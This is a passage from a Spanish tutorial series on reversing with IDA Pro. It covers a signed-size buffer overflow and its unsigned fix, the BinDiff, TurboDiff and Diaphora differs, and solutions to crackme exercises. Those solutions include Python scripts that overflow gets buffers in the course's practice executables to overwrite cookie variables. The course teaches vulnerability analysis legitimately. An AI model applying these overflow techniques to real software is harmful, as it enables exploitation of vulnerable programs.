scanf_s para ingresar un número por teclado, el cual se guarda en la variable size la cual es
un dword y se le pasa la dirección de la variable con el LEA.

Veamos la función scanf_s.

La función scanf_s lee datos del flujo de entrada estándar stdin y escribe los datos en la
ubicación que se proporciona en argument. Cada argument debe ser un puntero a una
variable de un tipo que se corresponda con un especificador de tipo en format. Si la copia
tiene lugar entre cadenas que se superponen, el comportamiento es indefinido.

O sea que es como lo opuesto a printf en vez de imprimir con un formato, ingresa de
consola con un formato a un Buffer, en este caso el formato es “%d” por lo cual se
interpreta como un número decimal.

De esta forma cuando llama a gets_s usando ese size que se tipeo, copiara esa cantidad de
bytes y si es mayor a 0x10 desbordara.

Una posible solución seria chequear el largo del size antes de copiar.

Estaría bueno que analicen si esta solución hace que no sea vulnerable o aún lo es,
analícenlo se llama VULNERABLE_o_NO.exe y lo discutiremos en la parte siguiente.

Hasta la próxima parte 20.


Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
21
________________________________________________________________________

En la parte 20 dejamos un ejercicio para analizar si era vulnerable o no y en la lista de


crackslatinos hubo muchas opiniones, yo no conteste y deje que discutan el tema dejando la
solución del ejercicio y el análisis para ser contestados en esta parte 21.

Teníamos el código fuente que nos podía ayudar, el idb y el ejecutable para poder reversear
en IDA y debuggear si es necesario.

El código fuente es este.

Igual analizaremos estáticamente en IDA primero.


Allí tenemos el CANARY que lo renombramos como siempre.

Tenemos Buf, veremos el largo del mismo en la representación estática del stack.

El largo es 16 por 1 que es el largo de cada elemento o sea 16 bytes decimal.


O sea que si pudiéramos escribir más de 16 bytes en el BUFFER sería vulnerable.

NO confundir bugs comunes o crashes con vulnerabilidades, no todo lo que hace crashear a
un programa es una vulnerabilidad si hago.

XOR ECX, ECX


DIV ECX

Es un bug que pondrá a cero ECX y al dividir por cero y provocará una excepción que si no
es manejada será un crash.

Eso es un simple crash, existen varios tipos de vulnerabilidades por ahora solo estamos
viendo la más sencilla el BUFFER OVERFLOW.

Si existe un desbordamiento de un BUFFER pudiendo escribir fuera de donde termina el


espacio reservado para el mismo el programa será VULNERABLE pues podría producirse
un BUFFER OVERFLOW, más adelante veremos si además de ser VULNERABLE es
EXPLOTABLE o no, puede ser VULNERABLE y por ejemplo NO EXPLOTABLE por alguna
mitigación del programa o del sistema como el CANARY por ejemplo que impidiera su
explotación, pero eso es un tema para partes siguientes.

Así que la idea es analizar si ese BUFFER de 16 bytes decimal se puede desbordar, como
en este caso, justo debajo del Buf está el CANARY, si llegáramos a pisar el mismo al copiar
en el buffer, es obvio que existiría un BUFFER OVERFLOW.
Ese código corresponde a esta línea del código fuente.

while ((c = getchar()) != '\n' && c != EOF);

Es una línea que se usa luego del scan para que lea el 0xA del estándar input que es el
salto de línea, así no molesta en una sucesiva lectura del mismo, pues si queda y no se
filtra, en la siguiente llamada a leer caracteres del teclado, no funcionará.

Vemos que loopea hasta que encuentra el 0xA que corresponde al SALTO DE LÍNEA o LF.

Caracteres de control ASCII no imprimibles :

codigo ascii 00 = NULL ( Carácter nulo )


codigo ascii 01 = SOH ( Inicio de encabezado )
codigo ascii 02 = STX ( Inicio de texto )
codigo ascii 03 = ETX ( Fin de texto, palo corazon barajas inglesas de poker )
codigo ascii 04 = EOT ( Fin de transmisión, palo diamantes barajas de poker )
codigo ascii 05 = ENQ ( Consulta, palo treboles barajas inglesas de poker )
codigo ascii 06 = ACK ( Reconocimiento, palo picas cartas de poker )
codigo ascii 07 = BEL ( Timbre )
codigo ascii 08 = BS ( Retroceso )
codigo ascii 09 = HT ( Tabulador horizontal )
codigo ascii 10 = LF ( Nueva línea - salto de línea )
codigo ascii 11 = VT ( Tabulador vertical )
codigo ascii 12 = FF ( Nueva página - salto de página )
codigo ascii 13 = CR ( ENTER - retorno de carro )

Creo que eso ocurre si no me equivoco porque en WINDOWS al apretar ENTER que es el
13 decimal o 0x0d, cortas la entrada de caracteres, pero queda siempre ese 0xa en el
standard input que molesta en la entrada siguiente por teclado, ya que el salto de línea
también cancela el ingreso.

Aquí vemos un script de python que sería funcional para probar este ejercicio.
from subprocess import *
import time
p = Popen([r'VULNERABLE_o_NO.exe','f'],stdout=PIPE,stdin=PIPE, stderr=STDOUT)

print "ATACHEA EL DEBUGGER Y APRETA ENTER\n"


raw_input()

primera="10\n"
p.stdin.write(primera)

time.sleep(0.5)

segunda="AAAA\n"
p.stdin.write(segunda)

testresult = p.communicate()[0]
time.sleep(0.5)
print(testresult)
print primera
print segunda

Vemos que es un script que utiliza subprocess para arrancar el proceso.

p = Popen([r'VULNERABLE_o_NO.exe','f'],stdout=PIPE,stdin=PIPE, stderr=STDOUT)

r
Redirecciona el standard input y output para que podamos mandarle caracteres como si
hubiéramos tipeado.

primera="10\n"
p.stdin.write(primera)

time.sleep(0.5)

segunda="AAAA\n"
p.stdin.write(segunda)

Vemos que hay dos ingresos primero el size que me pide, le pongo 10 para probar y luego
la data que ingresara con el gets_s con el size que le pasamos antes, puedo tipear menos
que 10.

Además le agregue un raw_input() para que una vez que arranque el proceso se detenga el
script de python hasta que apreto ENTER, lo cual me permite atachear el IDA al proceso
que arrancará y quedará esperando entrada por stdin.

Probemos si funciona el script como pensamos.

Lo arrancamos.
Queda ahí detenido esperando que apretemos ENTER dándonos la posibilidad de atachear
el IDA.

En el mismo abro el VULNERABLE_o_NO.exe para que lo analice en el LOADER sin


arrancarlo en el DEBUGGER y luego elijo LOCAL WIN32 DEBUGGER y voy a
DEBUGGER-ATTACH TO PROCESS.

Allí no se llega a ver el nombre del ejecutable porque el nombre de la carpeta es muy largo,
pero es ese, apreto OK y cuando se detiene apreto f9 para que quede RUNNING.

Luego antes de apretar ENTER en Python, pondré un BREAKPOINT a continuación de la


primera entrada por teclado ya que estaba esperando allí el proceso, y solo podré
detenerme después de cuando vuelva de esa entrada.
Allí pongo el BREAKPOINT y luego en Python apreto ENTER.

Vemos que para en el breakpoint.

Si paso el mouse por encima de la variable size que es la que ingresamos el valor en el
scanf_s.

.
Allí vemos que en la variable Size ingreso el valor 10 decimal (0xA) que ingrese mediante el
script.
Si llego al getchar la realidad es que yo no pase ningún carácter 0xA en el script.

primera="10\n"
p.stdin.write(primera)
time.sleep(0.5)

segunda="AAAA\n"
p.stdin.write(segunda)

ya que el “ \n” es el ENTER 0x0d

pero si paso el getchar con f8 para saltear el CALL y no ingresar en el mismo.

Vemos que quedo un carácter 0xA que yo no pase, el cual al leerlo lo quito del stdin y me
limpia para la siguiente entrada por teclado.

Vemos que compara mi size 0xA con el máximo 0x10 y como es menor continua.
Cuando paso con f8 el gets_s

Si pongo el mouse encima de Buf.

Veo que ingresaron las siguientes A que pase en el script, así que el mismo funciona y me
permite probar y debuggear lo que va pasando.
Si lo vuelvo a tirar desde el script y cuando llego al getchar lo salteo cambiando el EIP para
que no lea el 0xA.

Cambiamos EIP allí para que no filtre el 0xa a ver qué pasa.

Cuando paso el gets_s veo que ahora no ingreso nada.


Eso quiere decir que se debe filtrar el carácter 0xA que queda en el stdin luego de ciertas
entradas para que no afecte si hay entradas subsiguientes, por eso se justifica la línea de
código.

while ((c = getchar()) != '\n' && c != EOF);

También ahora que tenemos el script podemos analizar el crash que se produce en gets_s
cuando uno tipea el máximo size a ver si pasa algo mas o es solo un crash.

primera="16\n"
p.stdin.write(primera)
time.sleep(0.5)

segunda="A" *16 + "\n"


p.stdin.write(segunda)

Veré que pasa en este caso.

Con esos datos llego ahí.

Al pasar el LEA anoto la dirección donde comienza el buffer en mi caso 0x0115FDD8.

Si hago doble click en CANARY y apreto D varias veces hasta que sea un dword (dd),
también puedo anotar la dirección en mi caso 0x115fde8 y el valor de CANARY en este
caso será 965fa1f4.

Doy F9.
Allí está la excepción que produce la api en algunos Windows, acepto el OK.

Ahí está vayamos con G y coloquemos la dirección del buffer y luego la del canary a ver que
paso.

Vemos que el canary está intacto.

Y el buffer se llenó, así que tipear el máximo no produce overflow, lo que sí es cierto es que
el buffer se llenó completo y no quedar el cero final de la string, lo cual podría traer
problemas si el programa continúa, pero en este caso la excepción no es manejada y el
programa se cierra así que por acá solo es un crash.(también creo que pone un cero al
inicio del buffer para anular la string)

Si el programa manejara la excepción y continuará, debería descartar los datos del buffer
porque si lo tomara y usará como string, al no tener cero final, se podrían apendear datos
que están a continuación en el stack y provocar problemas, pero al poner el cero al inicio la
anula igualmente.

Bueno ya sabiendo que por aquí no hay overflow volvamos al análisis estático.

Centrémonos en esta parte.


Habíamos dicho que el salto JL o JLE considera el signo o sea que EAX podría ser
negativo, si por ejemplo fuera 0xFFFFFFFF seria -1 y sería menor que 0x10.

Quiere decir que si pasara como size -1 tendría posibilidad de que pase la comparación
veamos.

primera="-1\n"
p.stdin.write(primera)
time.sleep(0.5)

segunda="A" *0x2000 + "\n"


p.stdin.write(segunda)

Probemos el script con estos valores (size -1)

Al parar en el breakpoint.

Veamos el valor del size.


Vemos que vale 0xFFFFFFFF si hago doble click en size y apreto D para agrupar hasta que
sea un dword.

Sigamos traceando hasta la comparación.

Vemos que como 0xFFFFFFFF es -1 al considerar el signo no filtra y seguirá a leer ese
size.
La realidad que en el gets_s lo mismo que un memcpy y cualquier api que copie o ingrese
bytes los sizes son interpretados como unsigned, porque no existen los tamaños negativos,
como no se pueden ingresar o copiar -1 bytes, eso es imposible, lo interpreta como
0xFFFFFFFF positivo lo cual vemos que producirá un overflow.

Vuelvo a ver dónde está el buffer, esta vez está en 0x00CFF914.


Si voy a donde comienza el buffer.

Podemos ver mejor cuanto copio si lo transformo en string, en el inicio de la string apretó A.

Veo que la cosa es grande jeje.

Y si lo transformo en ARRAY
Veo también que llega hasta el final del stack, piso el CANARY piso todo.

Lo lleno de Aes hasta el final del stack, justo abajo veo que ya cambia a otra sección a
debug009.

Con lo cual verificamos que es vulnerable ahora como se podría arreglar, obviamente si en
vez de usar un salto JL o JLE que considera el signo usáramos JB o JBE que no lo
considera si pasamos -1 será 0xFFFFFFFF pero en la comparación lo tomara como positivo
y será más grande que 0x10 y saldrá afuera.

En el código fuente sería así.


Una sola palabrita lo transforma de VULNERABLE a NO VULNERABLE jeje, compilamos.

NO_VULNERABLE.exe se llama el reparado.

Vemos que con solo cambiar el tipo de variable a UNSIGNED cambio al compilar el tipo de
salto al que no considera el signo.

Arreglo el script cambiando el nombre para que cargue este nuevo ejecutable el resto lo
dejo igual.
Analizo el nuevo ejecutable en IDA en el LOADER y luego arrancó el script y antes de
apretar ENTER, atacheo el LOCAL DEBUGGER y pongo un BREAKPOINT en la
comparación del size para que pare allí a ver que pasa.

Si veo en size el valor sigue siendo 0xFFFFFFFF.

Pero si sigo traceando.

Ahora va a EXIT y evita el overflow ya que JBE considera ese 0xFFFFFFFF como no le
importa el signo, como un número positivo grande y mayor que 0x10, con lo cual está
reparado el programa.

Por lo tanto la respuesta al ejercicio es que era VULNERABLE y que se repara cambiando
el size de INT que es SIGNED a UNSIGNED INTEGER con lo cual cambia el salto JLE por
JBE de un salto que considera el signo a uno que no lo hace.

Hasta la parte 22
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
22
_________________________________________________________________________

DIFFERS

Un differ es un programa que a partir de dos versiones consecutivas de un mismo


programa, trata de emparejar o matchear las funciones a pesar de los cambios y nos trata
de mostrar cuáles funciones fueron cambiadas y donde.

Obviamente este trabajo no es sencillo, sobre todo cuando de una versión a otra ha habido
muchos cambios, los cuales pueden ser desde la aplicación de algún parche de seguridad
para solucionar alguna vulnerabilidad, como también puede haber mejoras en el programa,
agregados en la interfase, cambios generales, etc.

Los que tenemos que trabajar con differs sabemos que cuanto más grande y más cambios
haya en el ejecutable, más ingrato es el trabajo ya que el differ comete algunos errores al
matchear.

Vamos a ver los tres differs más conocidos que usaremos en general, para ir instalándolos y
conociéndolos, cada uno tiene su punto fuerte y su punto débil, la realidad hace que a
veces haya que usar más de uno en casos complejos para tratar de aclararse.

El primero que instalaremos será el BINDIFF.

https://www.zynamics.com/software.html

De allí se baja aceptando las condiciones.


Bueno a bajar java si no lo tenemos.
Parece ser esta la versión bajamos e instalamos.

A continuación reintento instalar el bindiff y parece que no hay problema, no se queja.


Todavía tengo del ejercicio anterior los ejecutables el vulnerable y el no vulnerable, abro el
más nuevo o sea el no vulnerable o parcheado en el LOADER del IDA para que cree el IDB
si no lo hice antes.

Luego abro el vulnerable.

Luego voy a edit-plugins.


y elijo BINDIFF

Y apreto DIFF DATABASE y busco la versión parcheada contra la cual comparara.


Una vez que termina me muestra los resultados a veces no es cómodo que se vea en una
columna, así que puedo arrastrarlo y soltarlo en la barra de pestañas.

Ahora sí, la primera columna nos muestra la similaridad, las que dicen 1.00 son iguales y
cuanto más bajo es el número, más diferentes son, conviene hacer click en la parte superior
de esa columna para que las ordene de más diferente a más similar.

Vemos que hay una sola con similaridad menor que 1.


Los bloques verdes son los similares, los amarillos tienen algún cambio y los rojos o grises
son agregados.

Allí vemos el cambio, como sabemos cambiar un salto JLE por JBE es algo que puede
evitar un BUFFER OVERFLOW, por lo tanto si en un programa del cual tenemos ambas la
versión vulnerable y la versión parcheada y mirando las funciones cambiadas en alguna
encontráramos esto sabremos que tendremos que ir a reversear estáticamente esa función
a ver si realmente es la vulnerable del programa.

Una de las ventajas de BINDIFF sobre los otros dos es que el gráfico es interactivo, no una
imagen solamente, tiene un buscador arriba.
Lo cual es muy útil, y también se pueden buscar direcciones y cualquier texto que este en el
gráfico.

Podemos copiar la dirección del bloque para pegarla en IDA e ir allí.

Tenemos también un navegador gráfico para recorrer la función y la lista de bloques.


Podemos marcar un bloque y en el menú tenemos select ancestor o select succesors para
que nos oscurezca los bloques del camino dentro de la función para llegar al mismo bloque
inicial, o desde allí, en este caso es una sencilla función, pero en funciones grandes y
complejas encontrar el camino a un bloque es muy importante.

Tiene muchas cosas buenas el bindiff sobretodo en la parte gráfica, tiene algunos
problemas de matcheo en programas grandes, pero es una de las mejores opciones a tener
en cuenta.

TURBODIFF

Es un differ creado por mi compañero de Core Nicolas Economou, el mismo estará adjunto
con el tute, también se puede descargar de la web de CORE SECURITY pero es una
versión anterior a la que puse adjunta.

El PLW se copia a la carpeta plugins dentro de la carpeta de instalación del IDA.


Tendré que volver a arrancar el IDA para que lo cargue.

Como siempre cargo la versión NO VULNERABLE primero.


Hay que tomar la información de cada uno de los idb que se van a comparar.

Así que hago eso en este primero.


Luego abro el vulnerable y hago lo mismo.

Luego desde el vulnerable vuelvo a llamar al plugin


Busco la versión no vulnerable y acepto con las opciones que trae por default.

Allí pudo apretar CTRL mas F y buscar changed o suspicious para que me muestre las
cambiadas.

Allí está haciendo doble click


Allí se ven las cambiadas también hay un código de colores según el tipo de cambio, verde
para los bloques con mínimos cambios, amarillo para los bloques muy cambiados y rojo
para los bloques agregados.

Obviamente los gráficos son imágenes y no son interactivos, pero es un differ muy rápido
realmente el más rápido, se nota mucho en ejecutables grandes y que no muestra
demasiados cambios tontos como el bindiff, asumiendo muchos como no importantes lo
cual en grandes trabajos se agradece.

Si uno no le gusta la forma de los gráficos puede usar ambos differs a la vez y luego ver los
resultados en el gráfico del bindiff.

DIAPHORA

El diaphora es un plugin hecho en Python por Joxean Koret

https://github.com/joxeankoret/diaphora
No es necesario instalarlo puedo descomprimirlo en cualquier lugar y solo es necesario
tener instalado Python en la máquina lo cual si tenemos IDA ya lo tendremos.

Así que iremos como siempre primero al parcheado o no vulnerable en el IDA.


En FILE-SCRIPT FILE abre el buscador y vamos donde los descomprimimos al diaphora y
buscamos diaphora.py.
Así como viene apretamos OK para que exporte la database a SQL.

Cuando termina abrimos el vulnerable en IDA y hacemos lo mismo abrimos el diaphora.py y


sin cambiar nada exportamos la database.
Una vez que hicimos lo mismo en ambas, volvemos a abrir el diaphora.py en la versión
vulnerable pero esta vez.

En el segundo lugar buscamos la SQL database del parcheado que exportó antes .

Vemos que cuando vamos a la carpeta parece no haber nada

Pero es por el filtro de archivos lo cambiamos para que muestre todo.

Y buscamos el de la no vulnerable.
Apreto OK así como esta.

Vemos que hay una pestaña BEST MATCHES con las que no hay duda de que son iguales.

En la pestaña PARTIAL MATCHES vemos las que posiblemente se cambiaron.


Allí está la versión cambiada, vemos que encontró dos cambiadas, una de las cosas que
tiene diaphora es que es muy preciso a veces eso es bueno, pero a veces cuando tienes
cientos de funciones, quieres que sea un poco más relajado y no muestre tantas pavadas
como cambios.

Vemos que tiene varias opciones para graficar la primera DIFF ASSEMBLY.

Es como muy preciso y detallado pero cuando ves cien funciones así, te quieres matar jeje,
veamos la segunda opción DIFF ASSEMBLY IN A GRAPH.
Este gráfico es un poco mejor, aunque no es interactivo, el bloque importante cambiado
está en rojo y en amarillo los que tienen cambios menores como el nombre de una variable.

La otra opción DIFF PSEUDO CODE usa el plugin HEX RAYS que trae el IDA incluido que
trata de armar un código fuente a partir del ejecutable.

Vemos que en el vulnerable que habíamos reverseado nosotros a mano y determinado que
había un buffer de 16 bytes, a esa variable Buf la detecta como buffer, pero en el otro como
no hicimos el mismo trabajo no lo detecta sino como una variable char nada más, también
muestra que la variable es signed en el vulnerable y en el otro no dice nada lo que supone
que será unsigned.
Otra característica de diaphora es que es el más lento (está programado en python contra C
del turbodiff) y en ejecutables grandes es muy largo el análisis y macheo.

Adjunte el archivo IDA1.exe me gustaría que lo analicen y vean si es vulnerable y además si


se puede desbordar el buffer y modificar el flujo del programa para que nos muestre el cartel
de chico bueno.

Se discute abiertamente el ejercicio tanto en la lista de correo crackslatinos como en


nuestro grupo de telegram.

https://telegram.me/CLSExploits
Hasta la parte 23 donde estará la solución del ejercicio.

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
23
_________________________________________________________________________

Había quedado para solucionar el ejercicio pendiente IDA1.exe

La función es basada en EBP como los anteriores, lo que tiene de diferente este ejemplo
que está compilado con DEVC++, que tiene una forma particular de compilar las llamadas a
las apis, diferente de lo acostumbrado y que al que no lo vio nunca lo puede marear.

Bueno vamos por partes dijo Jack, lo primero que vemos es la función main, si no les
aparece también pueden llegar a la función importante mirando las strings.

Haciendo doble click en la string “You are a winner man je”, llegamos a.
Pasando el mouse por la flechita de la referencia podemos ver de dónde se la llama.

Pero mejor haciendo CTRL + X vamos a donde esta ese código.

Yendo allí clickeando en la referencia.

Cambio a color verde la parte donde debo llegar que sería el CHICO BUENO.

Vemos que justo antes hay una comparación de una variable var_C con una constante
0x51525354.
Si hacemos click derecho en ese valor 0x51525354, salen las alternativas para
representarlo.
Puedo cambiarlo por las letras QRST que son los caracteres ASCII de ese valor
hexadecimal.

Algo que podemos darnos cuenta, es que este compilador no utiliza el CANARY de
protección, pues al inicio de la función se debería leer el mismo de una dirección de la
sección data y se xorea con EBP y se guarda justo arriba del STORED EBP en el stack y
además se lo lee nuevamente justo antes de finalizar la función para llamar al CALL que lo
chequea, nada de eso pasa aquí, si vemos el análisis estático del stack, haciendo doble
click en cualquier variable.
Vemos que lo único que hay en el stack, justo arriba del STORED EBP, es la variable
var_C que la compara con la string QRST para ir a chico bueno, con lo cual se descarta que
sea el CANARY, pues en este caso es un chequeo que es código original del programa, un
CANARY no se mezcla con decisiones del código original del programa, es algo agregado
por el compilador, externo al código original.

Podemos renombrarla a esa variable para no confundirla con el CANARY cómo


var_DECISION.

La cual se usa dos veces en la función, pero realmente nosotros podemos cambiar el valor
de dicha variable para hacer que el programa vaya a chico bueno?

Los que miran este código lo primero que les llama la atención es que hay variables y
argumentos relativos a EBP y hay otras que están tomadas con ESP como referencia.
Todo ese código inicial es agregado por el compilador para setear ESP justo arriba de las
variables y buffers locales, luego del SUB ESP, 0B8 se ajusta con esto, aunque nunca lo
varía mucho más que alinearlo y redondearlo, podríamos hacer las cuentas, pero si no
queremos complicarnos la vida, podemos debuggear para ver a qué valor queda ESP justo
al terminar todo esto y empezar con el código original de la función.

El que tenga ganas de debuggear lo puede hacer pero tenemos otra ayuda de IDA que es
muy útil que es la variación de ESP a partir del inicio de la función que se toma como 0.

Si vemos el código ahora.


Vemos la influencia de cada instrucción en el stack a partir de cero que es el inicio, luego de
ejecutar el PUSH EBP, el stack disminuye en 4, por eso la segunda línea tiene el 004 a la
derecha.

La segunda instrucción es MOV EBP,ESP lo cual no cambia el stack porque es solo un


MOV y por lo tanto ESP queda igual, el que cambia es EBP.

Por eso la tercera línea tiene el mismo 004 porque no cambió ESP.

Recordemos que ESP y EBP quedan iguales y EBP será a partir de aquí la referencia
quedando ambos a 4 del ESP del inicio.

La siguiente línea le resta 0xB8 a ESP con lo cual queda a 0xBC del inicio y como EBP
quedó en 4 la diferencia entre EBP y ESP será justo 0xB8.
Vemos que luego la distancia no cambia más ni siquiera al pasar el CALL ALLOCA y CALL
_MAIN que son agregados por el procesador, así que podemos concluir que no le afecta
todo eso, y que la distancia entre EBP y ESP es de 0xb8 que es el espacio para la variables
locales y buffers.

Allí ya empieza el código de la función en sí, y la distancia de ESP con respecto al inicio
quedó en 0xBC y 0xB8 es la zona reservada para variables y buffers.

A la variable var_9c como es una variable temporal creada por el compilador y no se usa
más le pondremos TEMP.
Debajo de TEMP tenemos el Buffer, haciendo click derecho ARRAY vemos que el largo es
140 decimal por el largo 1 byte de cada elemento, así que el largo del Buffer es 140
decimal.
Si lográramos desbordar el Buffer copiando al mismo más de 140 bytes, el mismo tendría
una vulnerabilidad del tipo Buffer Overflow, explotando la cual se podría pisar la variable
var_DECISION y si pudiéramos escribir más hacia abajo aun, llegaríamos a pisar el
STORED EBP y el RETURN ADDRESS dependiendo de cuanto podamos copiar.
Continuemos con el reversing, el punto más álgido de la compilación es la forma como pasa
los argumentos a las funciones, en vez de usar PUSH para guardar los argumentos en el
stack, los guarda directamente con MOV, veremos esto.

Ahí se ve claro en este caso printf tiene un solo argumento que es el la dirección a la string
“You are a winner je”, y ningún otro argumento más.

Vemos que guarda esa dirección ya que usa la palabra OFFSET delante, y la guarda en el
stack, pero dónde? la notación no nos ayuda mucho pero si hacemos click derecho veremos
alguna notación alternativa.
Si cambiamos por esto

Vemos que lo que realmente está haciendo es colocar en el contenido de ESP (que es la
posición superior del stack) la dirección de la string para usarla como argumento, o sea que
este programa en vez de hacer PUSH a la posición superior del stack, mueve los
argumentos a las posiciones del stack con MOV, y lógicamente el PUSH cambiaría el valor
de ESP, mientras que un MOV no, se puede apreciar en el valor BC justo antes de la
función.

Lo mismo pasa en todas las otras apis si aplicamos el mismo criterio solo en las que pueden
ser argumentos de apis, haciendo click derecho y cambiando por la notación alternativa, nos
queda mucho más entendible el código.
Vemos que el primer printf el cual tiene tres argumentos pues hace format string
reemplazando en la string “buf : %08x cookie : %08x\n”.], por los dos argumentos
superiores.

El primer argumento es la dirección de la variable var_DECISION que obtiene con el LEA, lo


mueve a EAX y lo guarda en el contenido de ESP + 8.

El segundo argumento es la dirección de la variable Buffer que la obtiene con el LEA, la


mueve a EAX y la guarda al contenido de ESP+4 como siguiente argumento y el tercero lo
guarda en el contenido de ESP y será la dirección de la string en este caso con el formato.

Si uno lo ejecuta fuera de IDA vemos que es la impresión en la consola de las direcciones
de ambas variables, ya que reemplaza en la string original haciendo format string, por el
valor hexadecimal de ambas direcciones porque usa %x que es la conversión para imprimir
el valor hexa.
Luego continúa llamando a la función gets la cual ingresa caracteres por teclado sin ningún
límite, por lo cual puede escribir más de 140 caracteres sin problema.

Aquí también le pasa como argumento al contenido de ESP, la dirección del Buffer que es
donde escribirá.

Así que sabemos que si escribo por ejemplo 140 Aes y luego TSQR ya que debe estar al
revés por el little endian, el programa me debería saltar a chico bueno ya que pisaremos la
variable var_DECISION que está justo debajo del Buffer, con el valor QRST, probemos
primero a mano, antes de hacer el script.

Imprimí la string en IDA y la copio al portapapeles, la pego aquí.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAATSRQ

Lo corro en una consola sino se cerrará y no veré la string si sale, cuando queda esperando
le pego la string y...
El script es muy sencillo también es igual que el anterior en este caso no tiene dos entradas
por stdin sino solo una

from subprocess import *


p = Popen([r'C:\Users\ricna\Desktop\New folder (6)\IDA1.exe', 'f'],
stdout=PIPE, stdin=PIPE, stderr=STDOUT)

print "ATACHEA EL DEBUGGER Y APRETA ENTER\n"


raw_input()

primera="A" *140 + "TSRQ\n"


p.stdin.write(primera)

testresult = p.communicate()[0]

print primera
print(testresult)

Ahí se ve el resultado, muchos no habrán podido hacerlo por la forma de pasar los
argumentos, pero ahora les será más sencillo hacer el ejercicio 2 ya que es muy parecido y
esta compilado en forma similar, pero ya saben el truco.

El siguiente ejercicio se llama IDA2.exe

Hasta la parte 24
Ricardo Narvaja

.
INTRODUCCIÓN AL REVERSING CON
IDA PRO DESDE CERO PARTE 24
_________________________________________________________________________

La solución al IDA2.exe es bastante similar al anterior solo que aquí hay dos variables, o podemos
llamarlas cookies para comparar en vez de una sola, para que te lleve a la zona de chico bueno.

Veamos si hay algún lugar donde se pueden modificar esas variables, las renombramos a cookie y
cookie 2 ya que el mismo programa las llama así.

Vemos que los únicos lugares donde hay acceso a dichas variables es cuando en el printf mediante
lea obtiene las direcciones de las mismas para imprimirlas pero no se puede alterar su valor allí.
Si apretamos la x en cualquiera de ambas variables, solo se accede dos veces una para hallar la
dirección antes de pasársela al printf y la segunda cuando ya compara el valor.
Así que si no se puede cambiar el valor de dichas variables, como podremos llegar hasta el cartel de
chico bueno para llegar al mismo si ambas variables deben tener un valor específico?
La otra posibilidad de llenar esas variables, sería que haya un overflow en algún buffer que permita
sobrescribir su valor.

Ahí vemos una variable var_10 veamos que es, allí vemos que la inicializa a cero veamos los otros
lugares donde la usa con la x.
Allí vemos los tres lugares en que la usa el primero es cuando la inicializa a cero.
Veamos los otros dos pero antes acomodemos los argumentos que se le pasan a las apis para que no
quede tan feo, usando la técnica que vimos en mi tute del IDA 1, haciendo click derecho en las
mismas y cambiando por una representación alternativa que nos muestra el ida allí.

Ahora quedo más lindo y se ve claro cómo guarda los argumentos en el stack para pasarlos a las
apis.
Ahora veamos donde usa la variable.
Vemos que allí con el lea obtiene la dirección de la variable y luego incrementa su contenido o sea
que aumenta el valor de la misma.
Luego obtiene nuevamente la dirección de la variable y la pasa como argumento de printf o sea que
imprime la dirección de la misma no el valor, si llegamos a la zona buena.
Como el mensaje dice flag podemos renombrarla con ese mismo nombre, lo que sí vemos es que no
influye en nada.

Solo nos queda estudiar el buffer ya que las variables que están por encima son variables creadas
por el procesador y temporales, no del programa en sí.

Mirando en la representación estática del stack.


Haciendo doble click en buffer vemos la representación estática del stack del ida.
Obvio buffer es el lugar reservado en la memoria para guardar lo que se tipea en consola ya que se
le pasa la dirección como argumento a la función gets.

El primer acceso a Buffer obtiene la dirección y se la pasa printf para imprimirla y el segundo le
pasa la dirección a gets para que reciba lo que tipeamos.

Para ver el size de ese buffer en la representación del stack hacemos click derecho- array y veamos
el size que ida nos sugiere.

Nos sugiere 68 decimal de largo, como cada elemento es de un byte el largo será 68 decimal,
aceptamos.
Allí vemos el buffer y además viendo esta representación sabemos que llenando el buffer con 68
caracteres estaremos justo a punto de desbordarlo y cómo gets no tiene ninguna restricción
podremos desbordar el Buffer y pisar con cuatro bytes más la variable cookie que está a
continuación luego con otros cuatro bytes piso flag que es un dword (dd) y con otros cuatro piso
cookie 2,

Con eso ya podríamos armar el script lo que le enviaríamos seria.


fruta= 68 *”A”+ cookie + flag + cookie2

from subprocess import *


import struct
p = Popen([r'C:\Users\ricna\Desktop\23-INTRODUCCION AL REVERSING CON IDA PRO DESDE
CERO PARTE 23\IDA2.exe', 'f'], stdout=PIPE, stdin=PIPE, stderr=STDOUT)

cookie=struct.pack("<L",0x71727374)
cookie2=struct.pack("<L",0x91929394)
flag=struct.pack("<L",0x90909090)

print "ATACHEA EL DEBUGGER Y APRETA ENTER\n"


raw_input()

primera=68 *"A"+ cookie + flag + cookie2


p.stdin.write(primera)

testresult = p.communicate()[0]
print primera
print(testresult)

Listo el pollo le ponemos a las cookies los valores correspondientes y a flag 0x90909090 o lo que
sea que no moleste pues no influye.
Y allí está jeje
Hasta la próxima para practicar pueden hacer el IDA3.exe y el IDA4.exe que esta adjunto
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 25
________________________________________________________________________

ESTRUCTURAS
En esta parte comenzaremos el estudio de como ayuda IDA PRO a reversear cuando el programa utiliza
estructuras.
Al final de esta parte estarán las soluciones de IDA3 e IDA4 brevemente pues ya es un tema sabido así que
será bien breve la solución.

Que es una estructura?

No es necesario una definición muy técnica pero vimos que los ARRAYS eran tipos de datos contenedores,
que reservaban un espacio en memoria para sus campos los cuales eran todos del mismo tipo, así puede haber
ARRAYS de bytes, de words, de dwords, el tema es que en un mismo array no puede haber campos de
diferente tipo.

Ahí vemos un ejemplo de un ARRAY que tiene size 34, y cada elemento tiene size 2 o sea cada elemento es
un Word, por lo cual el largo total del mismo será 34 * 2 o sea 68 decimal.

En este array de ejemplo, cada elemento es un word o sea que ocupa 2 bytes, si quiero un array que tenga
elementos de 1 solo byte deberé construir otro array, ya que no puedo mezclar en el mismo datos de diferente
tamaño o tipo.

La Estructura por otro lado permite mezclar diferentes tipos de datos de diferentes tamaños dentro del mismo.
Ahí está la definición más elegante pero es eso, podremos tener un contenedor de diferentes tipos de datos y
acá el largo será la suma del largo de todos los miembros o campos.

struct MyStruct
{
char * p_size;
char size;
int cookie;
int leidos;
int cookie2;
int maxsize;
int(*foo2)(char *);
void * buf2;
char buf[50];

};

En C++ podríamos definir una estructura de esa forma, en este ejemplo vemos la estructura llamada MyStruct
